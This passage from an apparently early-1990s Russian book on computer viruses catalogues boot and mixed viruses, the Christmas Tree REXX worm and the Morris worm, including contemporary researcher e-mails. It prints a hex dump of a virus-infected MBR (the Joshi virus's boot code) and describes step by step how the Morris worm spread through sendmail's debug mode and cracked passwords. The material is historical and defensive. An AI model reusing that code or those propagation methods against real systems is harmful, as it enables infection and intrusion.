между MBR  и началом логического диска С). Из этих восьми секторов
6 заняты  собственно хвостом  вируса, следующий  седьмой сектор  -
пустой, а  восьмой содержит  оригинальный MBR. Как и при заражении
дискеты, при  заражении винчестера  вирус не  проверяет содержимое
этих секторов  при заражении  винчестера. Такое  поведение  вируча
можно рассматривать  как лишний  аргумент в  пользу  использования
программы MIRROR  в AUTOEXEC.BAT: если эти сектора содержат какую-
то важную  информацию (как  например, при  использовании ADM), она
будет  уничтожена,   при  загрузке   машина   зависнет   и   можно
восстановить  эти  сектора  с  помощью  PCBACKUP.  Если  начальные
сектора  периодически  копируются  на  дискету  с  помощью  Norton
Utilities, то  их можно  восстановить из  соответствующего  файла.
Впрочем помимо  резервирования копии  с помощью  MIRROR  некоторые
фаги умеют исправлять эту ошибку.
  Зараженный  MBR   при  резидентном  вирусе  не  виден.  Механизм
обеспечения данного  эффекта уже   описывался применильно к вирусу
BRAIN: вирус  анализирует запросы  к  винчестру  и  перенаправляет
операцию  чтения   нулевого  сектора   на  сектор,   где  хранится
"спрятанная" Partition Table.
  В памяти  вирус размещается  в старших адресах, "откусывая" у MS
DOS 6 Кб. Вирус перехватывает прерывания 8, 9, 13 и 21 - почти как
какой-нибудь файловый вирус.
  Как уже  указывалось, отличительной  особенностью данного вируса
является то,  что он  перехватывает прерывание  от клавиатуры, что
позволяет этому  вирусу  "выживать"  при  теплой  перезагрузке  (с
помощью Ctrl-Alt-Del).
  Исторические замечания.  Вирус WM-1F  впервые  был  обнаружен  в
Индии в июне 1990 года. В нашей стране появился уже в июле. Автору
был передан  Д.Н.Лозинским. По  данным П.Хоффман,  начиная с конца
1989 года  в Индии  активно разрабатываются  бутовые вирусы  и  не
исключено,  что   подобно  тому  как  Болгария  является  основным
поставщиком файловых  вирусов для  СССР, на ту же роль для бутовых
вирусов скоро сможет претендовать Индия.
  Неформальные названия.  Полидетектор SCAN  называет данный вирус
"Joshi". Среди  других названий  отметим Happy  Birthday -  С днем
рожденья.
  Методы и  программные средства защиты. Рекомендуемые детекторы и
полифаги приведены в прил.2. В частности, в качестве детектора для
данного типа  вируса можно  использовать полидетектор  SCAN,  а  в
качестве фага - полифаг Е.Сусликова K32.COM. Следует отметить, что
начиная с  версии 36 в полифаге AIDSTEST предусмотрена возможность
исправлять Partition Table даже в довольно сложных случаях.

          Дамп MBR винчестера, зараженного вирусом WB-1F

000: EB1F90C007E99900 021B0300C8E40080   ................
010: 7F007C00001E5080 FC02721780FC0002   ..|...P...r.....
020: 80FA8CC88ED88ED0 BC00F0FBA11304B1   ................
030: 06D3E08EC0B80002 2D2100BF0000BE00   ........-!......
040: 7C03F003F8B97901 2BC8FCF3A675108C   |.....y.+....u..
050: C00520008EC0BB00 000653B80100CBA1   .. .......S.....
060: 13042D0600A31304 B106D3E08EC0BE00   ..-.............
070: 7CBF0000B90002FC F3A48CC00520008E   |............ ..
080: C0BB000006530E1F B402B0018A2E1E7C   .....S.........|
090: 8A0E1F7CB6008A16 207C50B800B88ED8   ...|.... |P.....
0A0: 585053515206CD13 075A595B58731050   XPSQR....ZY[Xs.P
0B0: 53515206B400CD13 075A595B58EBE2FE   SQR......ZY[X...
0C0: C181C300021E0E1F 508AC12A061F7C2C   ........P..*..|,
0D0: 08581F72CCB80000 CB00000000000000   .X.r............
0E0: 0000000000000000 0000000000000000   ................
***  расположенные далее байты вирусом не меняются  ***

        8. БУТОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ

  Некоторые из упоминаемых в зарубежной литературе бутовых вирусов
пока в  СССР выделены  не  были.  В  прил.4  приводятся  собранные
автором сведения  о таких  вирусах. Интересно  отметить, что  если
файловые  вирусы  имеют,  в  основном  западное  происхожение,  то
бутовые -  восточное (Индия,  Индонезия, Новая Зеландия, Пакистан,
Сингапур,  Тайвань,   Южная  Корея).   Учитывая,  что   из  Индии,
Сингапура,  Тайваня,   Южной  Кореи  мы  получаем  основную  массу
персональных компьютеров,  шансы на быстрое появление этих вирусов
в нашей стране весьма высоки.

              8.1. Смешанные бутово-файловые вирусы

  Данный тип  вирусов  является  попыткой  увеличить  выживаемость
бутовых   вирусов   при   наличии   средств   входного   контроля.
Действительно, поскольку  бутовый вирус  запускается до MS DOS, то
он может  беспрепятственно стать резидентным, а затем уже пытаться
обходить средства  слежения за  операциями ввода/вывода.  В то  же
время размножение  по типу  файлового вируса  создает  значительно
лучшие шансы  проникновения на  новые компьютеры.  Первой, хотя  и
неполной, попыткой  реализации вируса  рассматриваемого типа можно
считать вирус Ghostballs

        8.1.1. Вирус C-2351 (Ghostballs - Мячик призрака)

  Данный вирус  является комбинацией Венского вируса и Пинг-Понга.
Файловая часть  вируса основана  на С-648 и при запуске зараженной
программы  заражает   бутсектор  дискеты  или  винчестера  бутовой
частью, основанной на вирусе Bx1-1C, в которой сохранен визуальный
эффект двужущегося  светлого пятна, однако отсутствует способность
к размножению.  При этом, если бутсектор восстановлен каким-нибудь
фагом, то  он повторно заражается при первом же запуске зараженной
программы.
  Исторические сведения.  Вирус был  обнаружен в октябре 1989 г. в
Исландии известным  исландским  вирусологом  Фридрихом  Скуласоном
(Fridrik Skulason).
  Неформальные названия: Ghost Boot, Ghost COM
  Методы обнаружения  и средства  защиты. Средства  обнаружения  и
защиты. Детектируется  Scan (версии  66+),  Для  удаления  бутовой
части можно использовать команду SYS.

                8.1.2. Вирус RCE-2560 (Virus-101)

  Данный вирус  является первым  известным резидентным  вирусом  с
самомодифицирующимся инсталлятором  и первым,  заражающим наряду с
файлами, бутсектор.  Вирус заражает файлы только на дискетах. Если
на дискете  нет файла,  который можно  заразить,  то  он  заражает
бутсектор.
  Исторические сведения.  Вирус написан  Патриком  Толме  (Patrick
Toulme) в  январе 1990  г. в  качестве "учебного  пособия" и автор
некоторое время распространял за плату исходный текст вируса.
  Неформальные названия: Virus-101
  Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления бутовой части можно использовать команду SYS.

               8.1.3. Вирус RC-1253 (AntiCad, V-1)

  Данный вирус  заражает как  COM-файлы, так  и бутсектор дискет и
MBR  винчестера.   При  выполнении   зараженной  программы   вирус
инсталллируется в  младшие адреса  свободной памяти  и  виден  как
дополнительная  резидентная   программа,  занимающая  2128  байтов
(общий размер  системной памяти  не изменяется)  и перехватывающая
прерывания 08, 13, 21, 60. Затем вирус заражает MBR винчестера или
бутсектор дискеты в зависимости от конфигурации компьютера.
  Являясь резидентным  вирус заражает каждый выполняемый COM-файл,
дописываясь в  конец файла  и вставляяя  в  начало  файла  команду
перехода.   Размер зараженных  файлов увеличивается на 1253 байта.
При этом вирус не  делает попытки скрыть это увеличение. Признаком
зараженности файла   является строка "V-1" (562D31), расположенная
с четвертого байта, сразу  после команды перехода.
  Если при  резидентном вирусе  выполняется доступ  к дискете,  то
бутсектор заражается  вирусом. в  частности, отформатированные  на
зараженном компьютере  дискеты уже  заражены.  Куда  вирус  прячет
хвост в настоящее время не известно.
  При попытке  загрузки с зараженной дискеты вирус инсталллируется
по типу бутвируса, уменьшая системную память на 77840 байтов.
  Характерным  проявлением  данного  вируса  является  неожиданные
попытки доступа  к неативным  флоппи  дискам  при  форматировании.
Например, если  форматируется дискета в дисководе А, то зажигается
лампоска в  дисководе B. Фаза проявления заключается в уничтожении
соержимого дискеты или винчестера и наступает, по данным П.Хоффман
24 Декабря.  Уничтоженная дискета имеет повторяющуюся структуру из
девяти сеторов.
  Исторические сведения.  Вирус обнаружен  в  августе  1990  г.  в
Австрии и, по-видимому, там же и написан.
  Неформальные названия: Помимо приведенных выше отсутстуют.
  Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления бутовой части можно использовать команду SYS.

                 8.1.4. Вирус RCE-1040 (Anthrax)

  Неформальное название  данного вируса  связано с тем, что в теле
вируса  имеются  имеются  текстовые  строки  "(c)Damage,  Inc."  и
"ANTHRAX". Формально  данный вирус  относится с смешанным файлово-
бутовым резидентным  вирусам. Заражает  как COM-, так и EXE-файлы,
включая  COMMAND.COM.  Помимо  этого  заражает  MBR  винчестера  и
бутсектор дискет.
  При заражении  файлов их  длина увеличивается  на  1040  -  1232
байтов. При выполнении зараженной программы вирус инсталлируется в
оперативной памяти,  однако в  отличие  от  большинства  известных
вирусов не  начинает заражать файлы немедленно. Только после того,
как некоторое наступает некоторое событие, по видимому связанное с
количеством введенных  с кавиатуры  символов, он начинает заражать
по одному  файлу при каждом выполнении какой-нибудь программы. При
этом заражается  не сама  выполняемая  программа,  а  другой  файл
выбираемый вирусом  для заражения  сначала на  диске С,  начиная с
корневого каталога  и далее  по всему  делеву каталогов,  затем на
диске D и т.д.
  Детали заражения дискет и бутсектора неясны.
  Проявления вируса в настоящий момент неизвестны.
  Исторические сведения.  Вирус был  выделен в  Нидерландах в июле
1990 г.  Он был  загружен  в  несколько  BBS  с  троянской  копией
антивирусной программы  USCAN.ZIP. Это  третий в  1990  г.  вирус,
распространявшийся  с  троянской  копией  антивирусной  программы.
Первыми двумя были RCE-2100 (также распространялся с USCAN) и RCE-
1600  (распространялся  с  Aidstest).  По  видимому,  вирус  имеет
восточноевропейское (болгарское?) происхождение.
  Неформальные названия: Помимо приведенных выше отсутстуют.
  Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления бутовой части можно использовать команду SYS.

           8.2. Бутовые вирусы восточного происхождения

                      8.2.1. Вирус Microbes

  Конкретные сведения  о вирусе  практически отсутствуют. Заражает
как  дискеты   так  и  винчестер.  При  заражении  PC/XT  возможно
зависание системы.
  Исторические сведения.  Вирус был  обнаружен в  Бомбее (Индия  в
июне 1990г.).  Возможно,  что  этот  вирус  является  историческим
предшественником Joshy и написан тем же автором.
  Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления можно использовать команду SYS.

                       8.2.2. Вирус AirCop

  Заражает  только  360К  пятидюймовые  дискеты.  Уменьшает  обьем
системной  памяти   на  1К.  Перехватывает  прерывание  13.  Имеет
вырожденный хвост,  состоящий только  из оригинального бутсектора.
На зараженной  дискете хвост  расположен по  адресу 1/39/9, т.е. в
последнем  секторе   дискеты.  Зараженный  бутсектор  не  содержит
стандартных текстовых  сообщений, однако  в самом  конце  имееется
строка "Non-system..."  На большинстве  клонов вирус  выдает через
случайный интервал времени сообщение
  "Red State, Germ Offensive.
  AIRCOP."   однако на  некоторых вместо выдачи сообщения выдается
сообщение о переполнении стека и система зависает.
  Исторические  сведения.   Вирус  обнаружен  в  июле  1990  г.  в
Вашингтоне (США) и имеет тайванское происхождение.
  Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления можно использовать команду SYS.

                        8.2.3. Вирус Korea

  Заражает только  360К пятидюймовые  дискеты.  Имеет  вырожденный
хвост, состоящий только из оригинального бутсектора и записываемый
в 11  сектор дискеты  (последний сектор  FAT). При  этом  возможно
поврежедние части FAT. Других проявлений не имеет.
  Исторические сведения.  Вирус обнаружен  в марте 1990 г. в Сеуле
(Южная Корея) и, по-видимому, разработан там же.
  Методы обнаружения и средства защиты. Детектируется Scan (версии
66+), Для удаления можно использовать команду SYS.

                        8.2.4. Вирус Ohio

  Заражает только  360К пятидюймовые  дискеты. По  видимому данный
вирус можно  рассматривать  как  раннюю  версию  вируса  Den  Zuk.
Дискета,  зараженная   вирусом  Ohio  иммунизирована  к  заражению
вирусом Brain. В теле вируса имеются строки:
  "V I R U S
  b y
  The Hackers
  Y C 1 E R P
  D E N Z U K 0
  Bandung 40254
  Indonesia
  (C) 1988, The Hackers Team...."
  Исторические  сведения.   Вирус  обнаружен  в  июне  1988  г.  в
Индонезии и, по-видимому, разработан там же.
  Методы  обнаружения  и  средства  защиты.    Детектируется  Scan
(версии 66+). Для удаления можно использовать команду SYS.

                  8.3. Ископаемые бутовые вирусы

                  8.3.1. Вирус Alameda (Аламеда)

  Вирус Alameda,  подобно вирусу  M-05 (Stoned), имеет вырожденный
хвост, который  размещается на  последнем треке  дискеты по адресу
39/8/0. При этом этот кластер не отмечается как сбойный, оставаясь
доступным  для   распределения.  Поэтому   в   случае   перезаписи
содержимого  этого   кластера  перезагрузка   системы   становится
невозможной. После  загрузки вирус уменьшает доступную память на 1
К.
  Отличительной особенностью  данного вируса  является то,  что он
перехватывает прерывание от клавиатуры, что позволяет этому вирусу
"выживать" теплую  перезагрузку (с  помощью  Ctrl-Alt-Del).  Более
того данный  вирус размножается  не путем  заражения всех дискет к
которым идет  обращение, а  только дискет,  которые расположены  в
дисководе  в   момент  нажатия   CTL-ALT-DEL.  Заражаются   только
пятидюймовые дискеты 360К.
  Оригинальная версия  вируса не  содержала кода, ориентированного
на нанесение  какого-либо ущерба,  однако как любой вирус вызывала
ряд  побочных   эффектов.  В   частности,  на   некоторые  машинах
зараженных этим  вирусом нельзя  запустить отдельные программы или
драйверы. В настоящее время известны штаммы, разрушающие бутсектор
дискет  (штамм   Alameda-C).  Кроме   того   оригинальная   версия
работоспособна  только  на  PC  XT,  поскольку  содержит  команды,
отсутствующие в  микропроцессоре  80286  и  80386.  Более  поздние
версии размножаются и на PC AT.
  Исторические замечания.  Один из первых бутовых вирусов. Впервые
обнаружен  в   США  в   1988  году  в  Merritt  College,  Oakland,
California.  По  мнению  сотрудников  университета  вирус  написан
студентом из колледжа Peralta community college, входящим в данный
округ. В СССР не отмечался. Приводимые данные базируются на списке
П.Хоффман и статьях Макафи и Гринберга [200-201,131].
  Неформальные названия. Merritt, Peking, Seoul, Yale.
  Методы   обнаружения    и   средства    защиты.   Данный   вирус
диагностируется полидетектором SCAN.

                    8.3.2. Вирус Chaos (Хаос)

  Неформальное название  данного вируса  связано с тем, что в теле
вируса имеются  текстовые строки  "Welcome to  the  New  Dungeon",
"Chaos" и  "Letz be  cool guys".  Формально данный  вирус является
бутовым вирусом,  заражающим как  дискеты, так  и  винчестер.  при
заражении перезаписывает  оригинальный бутсектор  не копируя его в
новое место.
  Стадия проявления заключается в пометке всех свободных кластеров
как сбойные. Условия наступления стадии проявления неизвестны.
  Исторические замечания.  Обнаружен в  декабре 1989  г. в Англии.
Джеймсом Беррри  (James Berry).  В СССР  не отмечался.  Приводимые
данные базируются на списке П.Хоффман.
  Неформальные названия. Merritt, Peking, Seoul, Yale
  Методы   обнаружения    и   средства    защиты.   Данный   вирус
диагностируется полидетектором SCAN.

                  8.4. Мифические бутовые вирусы

           8.4.1. Вирус Bxxx (Boot Killer - бут-киллер)

  Данный вирус  при каждой  активизации переводит  часть имеющихся
свободных кластеров  в потерянные  и тем  самым  уменьшает  размер
доступного дискового  пространства. Это пространство, естественно,
становится недоступным,  если не  использовать  утилиту  CHKDSK  с
последующим удалением всех файлов с расширением CHK.
  Вторым эффектом является форматизация первого трека диска.
  Исторические замечания.  Данный вирус  был описан  в статье [ ],
опубликованной в 1988 г. опубликованной в 1988 г.

                   9. НЕКОТОРЫЕ СЕТЕВЫЕ ВИРУСЫ

  Сетевые   вирусы   более   точно   называть   не   вирусами,   а
репликаторами, поскольку  они не заражают выполняемые программы, а
просто распространяются  по сети от одной ЭВМ к другой. Буквальный
перевод  соответствующего  англоязычного  термина  Worm  -  червяк
представляется менее  удачным, чем предлагаемый термин репликатор.
В свою  очередь репликатор,  подобно кассетной  боеголовке,  может
переносить с  собой троянских  коней и  обычные вирусы. К счастью,
два наиболее  известных случая создания таких вирусов не связаны с
потерей или разрушением данных.

         9.1. Вирус Christmas Tree  (Рождественская елка)

  Рассматриваемый  вирус  появился  в  конце  декабря  1987  г.  в
западноевропейской сети  EARN (European Academic Research Network)
и связанной с ней американской сети BitNet. Его название связано с
тем, что  он рисовал  на экране  дисплея новогоднюю  елку и  затем
рассылал себя  по всем  адресам, найденным  на зараженной  машине.
Программа распространялась  по сети  с помощью  электронной почты.
Вирус был  написан на языке управления заданиями REXX операционной
системы  VM/CMS.  Фактически  это  единственный  известный  вирус,
написанный  на   языке   управления   заданиями,   и   этот   факт
свидетельствует о мощности и гибкости REXX - несомненно лучшего из
множества языков управления заданиями для машин системы 360/370.
  Автором программы  был студент университета Clausthal-Zellerfeld
(ФРГ),  который  утверждал,  что  просто  хотел  поздравить  своих
приятелей и  не представлял, что университетская сеть подсоединена
к EARN.  Поскольку программа  распространялась  в  виде  исходного
текста,  автор   предпринял  определенные   меры  по   маскировке,
продемонстрировав неплохое  понимание человеческой  психологии.  В
частности,   в    начале   программы    стояли   "соблазнительные"
комментарии:

  /**********************/ /****************************/
  /*     LET THIS EXEC  */ /*     ЗАПУСТИТЕ ЭТОТ       */
  /*                    */ /*                          */
  /*         RUN        */ /*        EXEC-ФАЙЛ         */
  /*                    */ /*                          */
  /*         AND        */ /*           И              */
  /*                    */ /*                          */
  /*        ENJOY       */ /*      РАЗВЛЕКИТЕСЬ        */
  /*                    */ /*                          */
  /*      YOURSELF      */ /*                          */
  /**********************/ /****************************/

  За ними  следовал фрагмент,  состоящий из стилизованного рисунка
новогодней елки  и поздравления "Счастливого Рождества и наилучшие
пожелания  на  следующий  год",  который,  естественно,  также  не
вызывал особых подозрений:

'VMFCLEAR'
SAY '                 *                    '
SAY '                 *                    '
SAY '                ***                   '
SAY '               *****                  '
SAY '              *******                 '
SAY '             *********                '
SAY '           *************                      A'
SAY '              *******                 '
SAY '            ***********                      VERY'
SAY '          ***************             '
SAY '        *******************                  HAPPY'
SAY '            ***********               '
SAY '          ***************                  CHRISTMAS'
SAY '        *******************           '
SAY '      ***********************                 AND'
SAY '          ***************             '
SAY '        *******************               BEST WISHES'
SAY '      ***********************         '
SAY '    ***************************          FOR THE NEXT'
SAY '              ******                  '
SAY '              ******                         YEAR'
SAY '              ******                  '

  Для  тех,   кто  еще  сомневался,  запускать  ли  программу  или
посмотреть текст  до конца,  далее следовал  еще один комментарий,
содержавший "ненавязчивый"  совет о том, что "просмотр этого файла
совсем  не   интересен,  просто   наберите  команду   CHRISTMAS  и
посмотрите, что получится":
/*     browsing this file is no fun at all
       just type CHRISTMAS from cms                      */
  И только  после этого  шел  непосредственно  текст  репликатора,
лишенный, естественно, каких-то коммментариев.
  Из ЕARN  вирус, в  процессе рассылки по обнаруженным им адресам,
попал в  американскую сеть  Bitnet. В  свою очередь,  сеть  Bitnet
имеет связь  с внутренней  сетью компании  IBM - Vnet. В этой сети
репликатор размножался  особенно успешно, поскольку сеть состоит в
основном из  машин и  программного обеспечения  фирмы IBM. Большие
списки рассылки  у многих  пользователей этой  сети привели  к  ее
перегрузке и  она была  выключена. В  течение двух дней, пока сеть
была выключена, вся электронная почта фирмы "отлеживалась". Фирмой
IBM  были  выполнены  модификации  сети,  затрудняющие  повторение
подобных инцидентов.

                        9.2. Вирус Морриса

  Название данного  вируса связано с тем, что его автором является
Роберт  Моррис   младший  (Robert   Morris),  аспирант  факультета
информатики Корнельского  Университета (США). 2.10.88  он запустил
вирус в  американскую национальную  сеть  Internet,  ивинфицировав
большое количество  компьютеров,  подключенных  к  сети.  Internet
объединяет  машины   университетских  центров,   частных  фирм   и
правительственных  агенств,  включая  Национальное  управление  по
аэронавтике и  исследованию  космического  пространства,  а  также
некоторые   военные    НИИ   и    лаборатории.    Поскольку    при
программировании автор  допустил  ошибку,    вызвавшую  превышение
скорости размножения  и распространения по сравнению с задуманной,
вирус  был   достаточно  быстро   (в  течении  нескольких  частов)
обнаружен. Тем  не менее  он  успел  заражить  в  общей  сложности
порядка 6000 компьютеров из порядка 60000, подключенных к сети.
  Вирус Морриса  заражал только  компьютеры  типа  SUN  3  и  VAX,
которые использовали  варианты ОС  UNIX версии  4 BSD.  В процессе
работы вирус  оставлял необычные  файлы  в  каталоге  /usr/tmp  на
некоторых машинах  и странные  сообщения  в  log-файлах  некоторых
утилит, в  частности, управляющей  почтой  утилиты  SendMail.  Для
своего  распространения   вирус  использовал   некоторые   дефекты
стандартного программного  обеспечения, установленного  на  многих
эксплуатирующих UNIX  системах.  Он  также  использовал  механизм,
предназначенный для  облегчения использования  ресурсов  удаленным
компьютерам  для   проведения  вычислений,  позволяющий  запускать
задачу на  удаленной машине. Вирус состоял из двух частей: главной
программы и программы, обеспечивающей его распространение. Главная
программа после  запуска на  очередной машине  собирала информацию
относительно других  машин в  сети, с  которыми данная  ЭВМ  имеет
связь. Она выполняла эту работу с помощью анализа конфигурационных
файлов и  путем прогона системной утилиты, которая дает информацию
о текущем  состоянии  соединений  в  сети.  Затем  она  использует
определенные недостатки  программного  обеспечения  для  пересылки
себя на другие машины.
  Пересылка  выполнялась  специальной  частью  вируса,  называемой
модулем распространения.  Этот модуль  представляет собой исходный
текст программы,  состоящей из 99 строк на языке С, которые должны
быть откомпилированы  и выполнены  на удаленной  машине. Для этого
исходный  текст  должен  быть  сначала  передан  очередной  жертве
(используя   способ,    кратко   описываемый    ниже),   а   затем
откомпилирован и  выполнен  с  тремя  аргументами:  сетевой  адрес
инфицирующей машины  (т.е. ЭВМ,  с которой  происходит заражение),
количество сетевых  портов, которые нужно соединить с этой машиной
для передачи  основных файлов вируса и "магическое число", которое
использовалось   как    однократная   проверка    паспорта.   Если
инфицирующая машина  не получала  в ответ  от посланного ею модуля
распространения  этого   "магического"   числа,   она   немедленно
отсоединялась от  этой машины.  Это, по-видимому,  было сделано  в
расчете на  предотвращение попыток  получения файлов  вируса путем
имитации  действий   модуля  распространения.   В   самом   модуле
распространения   были    предприняты   определенные   усилия   по
маскировке. Для  этой цели  он обнулял  свою  командную  строку  и
немедленно создавал  собственную копию.  Если в процессе пересылки
файлов  с   инфицирующей  машины   происходил  сбой,   то   модуль
распространения сначала удалял все пересланные файлы, а лишь затем
возвращал управление.
  Как уже  указывалось, после  запуска на  очередной жертве модуль
распространения обеспечивал пересылку всех файлов вируса для машин
этого типа  (SUN или  VAX). Каждый  файл представлял  собой версию
вируса  для  определенной  архитектуры  ЭВМ.  Кроме  того,  модуль
распространения обеспечивал  получение еще  одной своей  копии для
рассылки   по   очередным   сетевым   адресам.   Хотя   в   модуле
распространения предусматривалась  пересылка до  20 файлов, только
три на самом деле пересылались данной версией вируса. Это породило
гипотезы о том, что Моррис планировал разработку более совершенной
версии и  что эта  версия могла пересылать другие командные файлы,
паспорта пользователей  или, возможно, вирусы для конкретного типа
ЭВМ. После  пересылки загрузочных  модулей модуль  распространения
обеспечивал их  сборку с  местной  версией  системной  библиотеки.
Затем эти  программы вызывались  одна  за  другой  и  их  действие
заключалось в попытке раскрыть пароли пользователей, работающих на
данной машине.  Если  это  удавалось,  то  вирус  рассылал  модуль
распространения   по    всем   адресам,    найденным   в    списке
соответствующего "взломанного"  абонента. Если  ни один из методов
дешифровки паролей  не срабатывал,  то машина,  породившая  модуль
распространения, обеспечивала  удаление с  диска всех  улик  (т.е,
файлов, созданных в процессе работы вируса).
  Общий объем  вируса достигал  68К. На  момент написания  данного
материала   это,   по-видимому,   самый   большой   из   известных
компьютерных вирусов.
  Исторические  замечания.  Вирус  был  разработан  Роберт  Моррис
младшим,  аспирантом   Корнельского   университета,   впоследствии
осужденным за  это американским  судом (некоторые сведения об этом
процессе  приведены  в  гл.10).  Роберт  Моррис  является    сыном
ведущего ученого  (chief  scientist)  американского  национального
центра безопасности  компьютеров (U.S.  National Computer Security
Center)  у   отделения   Нациoнального   управления   безопасности
(National  Security   Agency).   Последнее   специализируется   на
глобальной    телекоммуникационной    разведке.    Моррис-старший,
длительное время  проработавший в  Bell Laboraries, является одним
из разрабочиков  игры Darvin  у одному  из первых  экспериментов в
области саморазмножающихся программ. В дальнейшем, он участвовал в
разработке UNIX, в частности, системы парольной защиты.
  Вирус был  запущен в  сеть приблизительно  между 12  и 13 часами
2.10.88. Из-за ошибки, вызвавшей превышение скорости размножения и
распространения по  сравнению с  задуманной, в  течение нескольких
часов (к концу дня) вирус заразил порядка 6000 компьютеров (данная
оценка основана  на экстраполяции  и не  претендует  на  особенную
точность).  Всего   к  сети   Internet  подключены  более  60  000
компьютеров.   Пораженные    компьютеры   были    расположены   на
значительной территории  (Массачусетский технологический институт,
Калифорнийский  университет   в  Беркли,   университет  в   Пэдью,
Стенфордский университет и др.).
  Наиболее заметным  эффектом при  распространении вируса,  помимо
некоторых необычных  сообщений операционной  системы, была  все же
непрерывно возраставшая  загрузка  пораженных  вирусом  машин.  По
истечении  некоторого   времени  отдельные   компьютеры  оказались
настолько загруженными  распространением копий вируса, что не были
способны выполнять  никакой полезной  работы; некоторые компьютеры
исчерпали память  для своппинга или таблицу текущих процессов и их
приходилось  перегружать.   Это   существенно   затруднило   обмен
сообщениями и координацию работы по уничтожению вируса, поскольку,
судя  по   репортажам,  большинство   американских   программистов
привыкло  пользоваться  электронной  почтой.  Задержки  привели  к
потере очень  ценных сообщений,  посланных пользователем, который,
по-видимому, знал  детали работы  вируса или они были сообщены ему
Моррисом, испугавшимся  последствий своего  "эксперимента". Тем не
менее, сеть  оставалась работоспособной и между программистами шел
интенсивный обмен сообщениями.
  Утром 3  ноября персонал Калифорнийского университета в Беркли и
Массачусетского технологического  института (МТИ)  получили  копии
вируса и  начали его  анализ. Общим опасением было, что к моменту,
когда  будет   изготовлено  противоядие,   системные  файлы  будут
изменены или разрушена некоторая информация. К пяти часам вечера 3
ноября группа  исследователей в  Университете в Беркли разработала
серию  мер   для  прекращения   его  дальнейшего  распространения.
Соответствующее  сообщение  было  передано  по  сети,  однако  его
распространение    было     задержано     нагрузкой,     созданной
распространением вируса  и отключением  некоторых частей  сети "на
карантин". К  9 часам  вечера другой  простой и  эффективный метод
борьбы с распространением вируса был найден в Университете Пэдью и
быстро распространен  всем заинтересованным пользователям. К концу
суток с вирусом было покончено.
  Дизассемблирование и  реконструкция текста  вируса  представляла
собой  достаточно   сложную  задачу,   поскольку   Моррисом   были
предприняты специальные  по ее затруднению, в частности,  шифровка
текстовых строк.  Основная  часть  работы  была  выполнена  Марком
Эйчиным (Маrk  Eichin), специалистом  по  дизассемблированию  ROM,
который  одновременно   являлся  и   координатором  работы  других
программистов.  Основная   работа  по  реконструкции  вируса  была
завершена  в  субботу.  Тогда  же  исследователями,  после  жарких
дискуссий, было  принято решение не распространять восстановленный
исходный текст  вируса и,  в то  же время, свободно распространять
информацию  об   алгоритмах,  используемых  данным  вирусом.  Это,
конечно, несет  опасность, что  они могут  быть  использованы  для
написания новых вирусов, однако уровень знаний, требуемых для этой
цели, неизмеримо  выше, чем  умение перекомпилировать  программу с
двумя или тремя измененными строчками.
  На следующее  утро, в  пятницу 4  ноября в МТИ состоялась пресс-
конференция, на  которой  выступили  ведущие  участики  "охоты  на
вирус". Во  вторник, 8  ноября, в Балтиморе состоялась конференция
по вирусу  Морриса, на  которой  подробно  обсуждалась  хронология
событий, предпринятые действия и детальный анализ функционирования
вируса. Кроме  того, были  обсуждены  вопросы,  касающиеся  уроков
инцидента и подготовки к отражению новых атак.
  Ниже приводятся  представляющие исторический  интерес сообщения,
которыми обменивались  исследователи в  ходе борьбы с вирусом. Эти
сообщения наглядно  демонстрируют огромную  ценность  национальной
сети  как   инструмента  оперативного   обмена  информацией  между
исследователями.

From:                                        Stoll@DOCKMASTER.ARPA
Subject:         Virus     on     the     Arpanet     -     Milnet
Date:  Thu, 3 Nov 88 06:46 EST

Re Arpanet "Sendmail" Virus attack November 3, 1988

Hi Gang!

It's now  3:45 AM  on Wednesday  3 November  1988.   I'm tired, so
don't believe everything that follows...

Apparently, there  is a  massive attack  on Unix  systems going on
right now.

I have  spoken to  systems managers  at several computers, on both
the east  & west  coast, and  I suspect  this may be a system wide
problem.

Symptom: hundreds  or thousands  of jobs  start running  on a Unix
system bringing response to zero.

Systems attacked:  Unix systems, 4.3BSD unix & variants (eg: SUNs)
any sendmail compiled with debug has this problem.  See below.

This virus  is spreading very quickly over the Milnet.  Within the
past 4 hours, I have evidence that it has hit >10 sites across the
country, both  Arpanet and Milnet sites.  I suspect that well over
50 sites  have been  hit.   Most of  these are  "major" sites  and
gateways.

Method:

Apparently, someone has written a program that uses a hole in SMTP
Sendmail utility.   This  utility can  send a message into another
program.

Step 1:  from a distant Milnet host, a message is sent to Sendmail
to fire  up SED,  (SED is an editor).  This is possible in certain
versions of sendmail (see below).

2:  A 99 line C program is sent to SED through Sendmail.

3:   The distant  computer sends  a  command  to  compile  this  C
program.

4:   Several object files are copied into the Unix computer. There
are 3  files: one  targeted to  Sun  one  targeted  to  SUN-3  one
targeted to vax (ultrix probably, not vms)

5:  The C program accepts as address other Milnet sites

6:   Apparently, program  scans for other Milnet/arpanet addresses
and     repeats this process.

The bug in Sendmail:

When the  Unix 4.3  BSD version  of Sendmail  is compiled with the
Debug option, there's a hole in it.

Most Unix  systems (BSD  4.3 and Suns) apparently do not have this
bug. It  exists only  where the system manager recompiled Sendmail
and enabled debugging.

This is bad news.

  Cliff Stoll dockmaster.arpa

------------------------------------------------------------------
-------
From:          Gene           Spafford           <spaf@purdue.edu>
Subject:           More           on           the           virus
Date: Thu, 03 Nov 88 09:52:18 EST

All of  our Vaxen and some of our Suns here were infected with the
virus. The  virus forks  repeated copies  of itself as it tries to
spread itself,  and the  load averages  on the  infected  machines
skyrocketed.   In fact,  it got  to the  point that  some  of  the
machines  ran   out  of  swap  space  and  kernel  table  entries,
preventing login to even see what was going on!

The virus  seems to  consist of  two parts.  I managed to grab the
source code  for one  part, but  not the main component (the virus
cleans up after itself so as not to leave evidence).  The way that
it works is as follows:

1) Virus  running on an infected machine opens a TCP connection to
a victim machine's sendmail, invokes debug mode, and gets a shell.

2) The  shell creates  a file  in /tmp named $$,l1.c (where the $$
gets replaced  by the  current process  id) and  copies code for a
"listener" or  "helper" program.   This  is just a few dozen lines
long and  fairly generic  code.   The shell  compiles this  helper
using the "cc" command local to the system.

3) The  helper is  invoked with  arguments pointing  back  at  the
infecting virus (giving hostid/socket/passwords as arguments).

4) The helper then connects to the "server" and copies a number of
